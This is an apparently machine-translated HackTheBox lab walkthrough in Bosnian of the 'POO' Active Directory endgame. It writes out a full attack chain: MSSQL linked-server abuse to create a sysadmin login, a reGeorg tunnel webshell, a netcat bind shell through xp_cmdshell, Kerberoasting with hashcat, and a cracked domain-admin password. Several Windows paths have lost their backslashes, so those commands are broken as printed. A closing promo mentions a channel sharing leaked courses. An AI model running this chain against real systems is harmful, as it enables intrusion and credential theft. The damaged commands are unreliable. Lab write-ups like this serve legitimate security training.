HackTheBoxendgame. Prolaz laboratorije Profesionalne ofanzivne operacije. Pentest Active Directory

HackTheBoxendgame. Prolaz laboratorije Profesionalne ofanzivne operacije. Pentest Active Directory

U ovom članku ćemo analizirati prolaz ne samo mašine, već i čitave mini laboratorije sa stranice HackTheBox.

Kao što je navedeno u opisu, POO je dizajniran da testira vještine u svim fazama napada u malom Active Directory okruženju. Cilj je kompromitirati pristupačni host, eskalirati privilegije i na kraju kompromitirati cijeli domen uz prikupljanje 5 zastavica.

Veza sa laboratorijom je putem VPN-a. Preporuka je da se ne povezujete sa radnog kompjutera ili sa hosta na kome se nalaze podaci bitni za vas, jer završite na privatnoj mreži sa ljudima koji znaju nešto iz oblasti informacione bezbednosti :)

Organizacijske informacije
Da bih vam pomogao da budete u toku s novim člancima, softverom i drugim informacijama, kreirao sam Telegram kanal и grupa za diskusiju o svim pitanjima u oblasti I&KB. Također i Vaši lični zahtjevi, pitanja, prijedlozi i preporuke Lično ću to ispitati i odgovoriti svima..

Sve informacije su predstavljene samo u obrazovne svrhe. Autor ovog dokumenta ne prihvata nikakvu odgovornost za bilo kakvu štetu prouzrokovanu bilo kome kao rezultat upotrebe znanja i tehnika stečenih proučavanjem ovog dokumenta.

Intro

Ovaj endgame se sastoji od dvije mašine i sadrži 5 zastavica.

HackTheBoxendgame. Prolaz laboratorije Profesionalne ofanzivne operacije. Pentest Active Directory

Dat je i opis i adresa dostupnog hosta.

HackTheBoxendgame. Prolaz laboratorije Profesionalne ofanzivne operacije. Pentest Active Directory

Krenimo!

Recon flag

Ova mašina ima IP adresu 10.13.38.11, koju dodajem u /etc/hosts.
10.13.38.11 poo.htb

Prije svega, skeniramo otvorene portove. Pošto skeniranje svih portova pomoću nmap-a traje dugo, prvo ću to učiniti koristeći masscan. Skeniramo sve TCP i UDP portove sa tun0 interfejsa brzinom od 500 paketa u sekundi.

sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500

HackTheBoxendgame. Prolaz laboratorije Profesionalne ofanzivne operacije. Pentest Active Directory

Sada, da dobijemo detaljnije informacije o uslugama koje rade na portovima, pokrenimo skeniranje s opcijom -A.

nmap -A poo.htb -p80,1433

HackTheBoxendgame. Prolaz laboratorije Profesionalne ofanzivne operacije. Pentest Active Directory

Dakle, imamo IIS i MSSQL usluge. U ovom slučaju ćemo saznati pravi DNS naziv domene i računara. Na web serveru nas dočekuje IIS početna stranica.

HackTheBoxendgame. Prolaz laboratorije Profesionalne ofanzivne operacije. Pentest Active Directory

Idemo kroz imenike. Za ovo koristim gobuster. U parametrima označavamo broj niti 128 (-t), URL (-u), rječnik (-w) i ekstenzije koje nas zanimaju (-x).

gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html

HackTheBoxendgame. Prolaz laboratorije Profesionalne ofanzivne operacije. Pentest Active Directory

Ovo nam daje HTTP autentifikaciju za /admin direktorij, kao i pristupačnu desktop uslugu .DS_Store datoteku. .DS_Store su datoteke koje pohranjuju prilagođene postavke za folder, kao što je lista datoteka, lokacija ikona i odabrana pozadinska slika. Takva datoteka može završiti u direktoriju web servera web programera. Na taj način dobijamo informacije o sadržaju imenika. Za ovo možete koristiti DS_Store pretraživač.

python3 dsstore_crawler.py -i http://poo.htb/

HackTheBoxendgame. Prolaz laboratorije Profesionalne ofanzivne operacije. Pentest Active Directory

Dobijamo sadržaj direktorija. Najzanimljivija stvar ovdje je /dev direktorij, iz kojeg možemo pogledati izvore i db datoteke u dvije grane. Ali možemo koristiti prvih 6 znakova imena datoteka i direktorija ako je usluga ranjiva na IIS ShortName. Ovu ranjivost možete provjeriti koristeći IIS skraćeni skener.

HackTheBoxendgame. Prolaz laboratorije Profesionalne ofanzivne operacije. Pentest Active Directory

I nalazimo jednu tekstualnu datoteku koja počinje sa “poo_co”. Ne znajući šta dalje, jednostavno sam odabrao sve riječi koje počinju s “co” iz rječnika imenika.

cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt

A mi ćemo to riješiti koristeći wfuzz.

wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404

HackTheBoxendgame. Prolaz laboratorije Profesionalne ofanzivne operacije. Pentest Active Directory

I pronašli smo pravu riječ! Pogledamo ovaj fajl, sačuvamo akreditive (sudeći po parametru DBNAME, oni su iz MSSQL-a).

HackTheBoxendgame. Prolaz laboratorije Profesionalne ofanzivne operacije. Pentest Active Directory

Predajemo zastavu i napredujemo 20%.

HackTheBoxendgame. Prolaz laboratorije Profesionalne ofanzivne operacije. Pentest Active Directory

Huh zastava

Povezujemo se na MSSQL, ja koristim DBeaver.

HackTheBoxendgame. Prolaz laboratorije Profesionalne ofanzivne operacije. Pentest Active Directory

Ne nalazimo ništa zanimljivo u ovoj bazi podataka, hajde da napravimo SQL Editor i proverimo koji korisnici postoje.

SELECT name FROM master..syslogins;

HackTheBoxendgame. Prolaz laboratorije Profesionalne ofanzivne operacije. Pentest Active Directory

Imamo dva korisnika. Hajde da proverimo naše privilegije.

SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');

HackTheBoxendgame. Prolaz laboratorije Profesionalne ofanzivne operacije. Pentest Active Directory

Dakle, nema nikakvih privilegija. Pogledajmo povezane servere, pisao sam o ovoj tehnici detaljno ovdje.

SELECT * FROM master..sysservers;

HackTheBoxendgame. Prolaz laboratorije Profesionalne ofanzivne operacije. Pentest Active Directory

Ovako nalazimo drugi SQL Server. Testirajmo izvršavanje komandi na ovom serveru koristeći openquery().

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');

HackTheBoxendgame. Prolaz laboratorije Profesionalne ofanzivne operacije. Pentest Active Directory

Možemo čak i da napravimo stablo upita.

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');

Poenta je da kada uputimo zahtjev povezanom serveru, zahtjev se izvršava u kontekstu drugog korisnika! Da vidimo u kontekstu kog korisnika radimo na povezanom serveru.

SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');

HackTheBoxendgame. Prolaz laboratorije Profesionalne ofanzivne operacije. Pentest Active Directory

Sada da vidimo u kom kontekstu se šalje zahtjev sa povezanog servera na naš!

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');

HackTheBoxendgame. Prolaz laboratorije Profesionalne ofanzivne operacije. Pentest Active Directory

Dakle, DBO kontekst bi trebao imati sve privilegije. Provjerimo privilegije u slučaju zahtjeva sa povezanog servera.

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');

HackTheBoxendgame. Prolaz laboratorije Profesionalne ofanzivne operacije. Pentest Active Directory

Kao što vidite, imamo sve privilegije! Hajde da napravimo našeg vlastitog admina kao što je ovaj. Ali oni to ne dozvoljavaju kroz openquery, uradimo to kroz EXECUTE AT.

EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";

I sada se povezujemo s vjerodajnicama novog korisnika, promatramo novu bazu podataka zastavica.

HackTheBoxendgame. Prolaz laboratorije Profesionalne ofanzivne operacije. Pentest Active Directory

Predajemo ovu zastavu i idemo dalje.

HackTheBoxendgame. Prolaz laboratorije Profesionalne ofanzivne operacije. Pentest Active Directory

BackTrack flag

Hajde da nabavimo ljusku koristeći MSSQL, ja koristim mssqlclient iz impacket paketa.

mssqlclient.py ralf:[email protected] -db POO_PUBLIC

HackTheBoxendgame. Prolaz laboratorije Profesionalne ofanzivne operacije. Pentest Active Directory

Moramo da dobijemo lozinke, a prvo sa čime smo se već susreli je veb lokacija. Dakle, potrebna nam je konfiguracija web servera (nije moguće ostaviti prikladnu ljusku, očigledno je pokrenut firewall).

HackTheBoxendgame. Prolaz laboratorije Profesionalne ofanzivne operacije. Pentest Active Directory

Ali pristup je odbijen. Iako možemo čitati datoteku iz MSSQL-a, samo trebamo znati koji su programski jezici konfigurirani. A u direktoriju MSSQL saznajemo da postoji Python.

HackTheBoxendgame. Prolaz laboratorije Profesionalne ofanzivne operacije. Pentest Active Directory

Tada nema problema sa čitanjem datoteke web.config.

EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"

HackTheBoxendgame. Prolaz laboratorije Profesionalne ofanzivne operacije. Pentest Active Directory

Sa pronađenim akreditivima idite na /admin i uzmite zastavicu.

HackTheBoxendgame. Prolaz laboratorije Profesionalne ofanzivne operacije. Pentest Active Directory

HackTheBoxendgame. Prolaz laboratorije Profesionalne ofanzivne operacije. Pentest Active Directory

Foothold flag

U stvari, postoje neke neugodnosti zbog korištenja firewall-a, ali gledajući mrežne postavke, primjećujemo da se koristi i IPv6!

HackTheBoxendgame. Prolaz laboratorije Profesionalne ofanzivne operacije. Pentest Active Directory

Dodajmo ovu adresu u /etc/hosts.
dead:babe::1001 poo6.htb
Skenirajmo host ponovo, ali koristeći IPv6 protokol.

HackTheBoxendgame. Prolaz laboratorije Profesionalne ofanzivne operacije. Pentest Active Directory

A usluga WinRM je dostupna preko IPv6. Povežimo se s pronađenim vjerodajnicama.

HackTheBoxendgame. Prolaz laboratorije Profesionalne ofanzivne operacije. Pentest Active Directory

Na radnoj površini je zastavica, predajemo je.

HackTheBoxendgame. Prolaz laboratorije Profesionalne ofanzivne operacije. Pentest Active Directory

P00ned flag

Nakon obavljanja izviđanja na domaćinu koristeći winpeas Ne nalazimo ništa posebno. Tada je odlučeno da ponovo potražim akreditive (pisao sam i na ovu temu članak). Ali nisam mogao dobiti sve SPN-ove iz sistema preko WinRM-a.

setspn.exe -T intranet.poo -Q */*

HackTheBoxendgame. Prolaz laboratorije Profesionalne ofanzivne operacije. Pentest Active Directory

Pokrenimo naredbu preko MSSQL-a.

HackTheBoxendgame. Prolaz laboratorije Profesionalne ofanzivne operacije. Pentest Active Directory

Koristeći ovu metodu, dobijamo SPN korisnika p00_hr i p00_adm, što znači da su ranjivi na napade kao što je Kerberoasting. Ukratko, možemo dobiti njihove hešove lozinke.

Prvo morate dobiti stabilnu ljusku kao MSSQL korisnik. Ali pošto smo ograničeni u pristupu, imamo komunikaciju sa hostom samo preko portova 80 i 1433. Ali moguće je tunelirati saobraćaj kroz port 80! Za ovo ćemo koristiti sljedeću aplikaciju. Učitajmo datoteku tunnel.aspx u početni direktorij web servera - C:inetpubwwwroot.

HackTheBoxendgame. Prolaz laboratorije Profesionalne ofanzivne operacije. Pentest Active Directory

Ali kada pokušamo da mu pristupimo, dobijamo grešku 404. To znači da se *.aspx datoteke ne izvršavaju. Da bi se datoteke sa ovim ekstenzijama izvršile, instalirajte ASP.NET 4.5 na sljedeći način.

dism /online /enable-feature /all /featurename:IIS-ASPNET45

HackTheBoxendgame. Prolaz laboratorije Profesionalne ofanzivne operacije. Pentest Active Directory

HackTheBoxendgame. Prolaz laboratorije Profesionalne ofanzivne operacije. Pentest Active Directory

A sada, kada pristupimo tunnel.aspx, dobijamo odgovor da je sve spremno za rad.

HackTheBoxendgame. Prolaz laboratorije Profesionalne ofanzivne operacije. Pentest Active Directory

Pokrenimo klijentski dio aplikacije koji će prenijeti promet. Proslijedit ćemo sav promet sa porta 5432 na server.

python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx

HackTheBoxendgame. Prolaz laboratorije Profesionalne ofanzivne operacije. Pentest Active Directory

I mi koristimo proksi lance za slanje prometa bilo koje aplikacije preko našeg proxyja. Hajde da dodamo ovaj proxy u konfiguracioni fajl /etc/proxychains.conf.

HackTheBoxendgame. Prolaz laboratorije Profesionalne ofanzivne operacije. Pentest Active Directory

Sada da otpremimo program na server netcat, sa kojim ćemo napraviti stabilnu bind shell i skriptu Invoke-Kerberoast, s kojim ćemo izvršiti Kerberoasting napad.

HackTheBoxendgame. Prolaz laboratorije Profesionalne ofanzivne operacije. Pentest Active Directory

Sada pokrećemo slušalac preko MSSQL-a.

xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321

HackTheBoxendgame. Prolaz laboratorije Profesionalne ofanzivne operacije. Pentest Active Directory

I povezujemo se preko našeg proxyja.

proxychains rlwrap nc poo.htb 4321

HackTheBoxendgame. Prolaz laboratorije Profesionalne ofanzivne operacije. Pentest Active Directory

I hajde da uzmemo heš.

. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt

HackTheBoxendgame. Prolaz laboratorije Profesionalne ofanzivne operacije. Pentest Active Directory

Zatim morate iterirati preko ovih heševa. Pošto rockyou rječnik nije sadržavao ove lozinke, koristio sam SVE rječnike lozinki koji su dani u Seclists. Za pretragu koristimo hashcat.

hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force

I nalazimo obje lozinke, prvu u rječniku dutch_passwordlist.txt, a drugu u Keyboard-Combinations.txt.

HackTheBoxendgame. Prolaz laboratorije Profesionalne ofanzivne operacije. Pentest Active Directory

HackTheBoxendgame. Prolaz laboratorije Profesionalne ofanzivne operacije. Pentest Active Directory

I tako imamo tri korisnika, idemo na kontroler domene. Prvo ćemo saznati njegovu adresu.

HackTheBoxendgame. Prolaz laboratorije Profesionalne ofanzivne operacije. Pentest Active Directory

Odlično, saznali smo IP adresu kontrolera domene. Hajde da saznamo sve korisnike domene, kao i ko je od njih administrator. Za preuzimanje skripte za dobijanje informacija PowerView.ps1. Zatim ćemo se povezati pomoću evil-winrm, navodeći direktorij sa skriptom u parametru -s. A onda ćemo samo učitati PowerView skriptu.

HackTheBoxendgame. Prolaz laboratorije Profesionalne ofanzivne operacije. Pentest Active Directory

Sada imamo pristup svim njegovim funkcijama. Korisnik p00_adm izgleda kao privilegirani korisnik, pa ćemo raditi u njegovom kontekstu. Kreirajmo PSCredential objekat za ovog korisnika.

$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass

Sada će se sve Powershell komande gdje navedemo Creds izvršavati kao p00_adm. Hajde da prikažemo listu korisnika i atribut AdminCount.

Get-NetUser -DomainController dc -Credential $Creds | select name,admincount

HackTheBoxendgame. Prolaz laboratorije Profesionalne ofanzivne operacije. Pentest Active Directory

I tako, naš korisnik je zaista privilegovan. Da vidimo u kojim je grupama.

Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds

HackTheBoxendgame. Prolaz laboratorije Profesionalne ofanzivne operacije. Pentest Active Directory

Konačno potvrđujemo da je korisnik administrator domene. Ovo mu daje pravo da se na daljinu prijavi na kontroler domene. Pokušajmo se prijaviti preko WinRM-a koristeći naš tunel. Zbunile su me greške koje je napravio reGeorg kada sam koristio evil-winrm.

HackTheBoxendgame. Prolaz laboratorije Profesionalne ofanzivne operacije. Pentest Active Directory

Onda upotrijebimo drugi, lakši, script za povezivanje na WinRM. Otvorimo i promijenimo parametre veze.

HackTheBoxendgame. Prolaz laboratorije Profesionalne ofanzivne operacije. Pentest Active Directory

Pokušavamo da se povežemo, i mi smo u sistemu.

HackTheBoxendgame. Prolaz laboratorije Profesionalne ofanzivne operacije. Pentest Active Directory

Ali nema zastave. Zatim pogledajte korisnika i provjerite radne površine.

HackTheBoxendgame. Prolaz laboratorije Profesionalne ofanzivne operacije. Pentest Active Directory

Zastavu nalazimo kod mr3ks i laboratorija je 100% završena.

HackTheBoxendgame. Prolaz laboratorije Profesionalne ofanzivne operacije. Pentest Active Directory

To je sve. Kao povratnu informaciju, napišite da li ste naučili nešto novo iz ovog članka i da li vam je bio koristan.

Možete nam se pridružiti na telegram. Tamo možete pronaći zanimljive materijale, procurele kurseve, kao i softver. Hajde da okupimo zajednicu u kojoj će biti ljudi koji razumiju mnoga područja IT-a, tada uvijek možemo pomoći jedni drugima oko bilo kakvih IT i informatičkih pitanja.

izvor: www.habr.com

Dodajte komentar